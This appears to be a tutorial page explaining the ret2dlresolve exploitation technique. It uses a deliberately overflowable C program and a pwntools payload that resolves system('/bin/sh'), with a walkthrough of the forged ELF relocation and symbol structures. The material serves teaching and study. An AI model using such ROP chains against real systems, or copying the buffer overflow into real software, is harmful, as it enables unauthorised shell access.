Exploitation
Source
To display an example program, we will use the example given on the pwntools entry for ret2dlresolve:
#include <unistd.h>
void vuln(void){
char buf[64];
read(STDIN_FILENO, buf, 200);
}
int main(int argc, char** argv){
vuln();
}Exploitation
pwntools contains a fancy Ret2dlresolvePayload that can automate the majority of our exploit:
# create the dlresolve object
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
rop.raw('A' * 76)
rop.read(0, dlresolve.data_addr) # read to where we want to write the fake structures
rop.ret2dlresolve(dlresolve) # call .plt and dl-resolve() with the correct, calculated reloc_offset
p.sendline(rop.chain())
p.sendline(dlresolve.payload) # now the read is called and we pass all the relevant structures inLet's use rop.dump() to break down what's happening.
As we expected - it's a read followed by a call to plt_init with the parameter 0x0804ce24. Our fake structures are being read in at 0x804ce00. The logging at the top tells us where all the structures are placed.
Now we know where the fake structures are placed. Since I ran the script with the DEBUG parameter, I'll check what gets sent.
systemis being written to0x804ce00- as the debug said theSymbol name addrwould be placedAfter that, at
0x804ce0c, theElf32_Symstruct starts. First it contains the table index of that string, which in this case is0x4ba4as it is a very long way off the actual table. Next it contains the other values on the struct, but they are irrelevant and so zeroed out.At
0x804ce1cthatElf32_Relstruct starts; first it contains the address of thesystemstring,0x0804ce00, then ther_infovariable - if you remember this specifies theR_SYM, which is used to link theSYMTABand theSTRTAB.
After all the structures we place the string /bin/sh at 0x804ce24 - which, if you remember, was the argument passed to system when we printed the rop.dump():
Final Exploit
Last updated
Was this helpful?